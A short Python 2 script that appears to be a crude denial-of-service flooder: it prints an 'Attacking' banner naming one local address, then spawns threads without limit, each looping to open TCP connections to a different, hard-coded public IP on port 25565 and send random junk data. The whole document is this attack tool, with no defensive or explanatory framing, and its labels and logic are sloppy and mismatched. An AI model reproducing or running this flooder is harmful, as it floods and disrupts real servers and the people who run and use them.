import socket, sys, os, random

print "][ Attacking " + '192.168.0.100'  + " ... ]["  
print "injecting " + '8080';

def P():
    while 1:
        attack()
try:
    def attack():  
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        s.connect(('2.93.68.174', 25565))  
        #print ">> GET /" + '8080' + " HTTP/1.1"
        xxx=str(random.random())
        print ">> send\t %s %s\n" % (xxx, str(type(xxx)))
        s.send(xxx*10)
        #s.send('.SeR...127.0.0.1..')
        try:
            data=s.recv(1024)
            if data:
                print data, ' = = = '
        except:
            print "!"; pass
        s.close()

except:
    print '\t = = exception = = '
    P()


import threading
theVar = 800
class MyThread(threading.Thread):
    def run ( self ):
        global theVar
        P()
        theVar = theVar + 0

#for x in xrange ( -1 ):
while 1:
    MyThread().start()
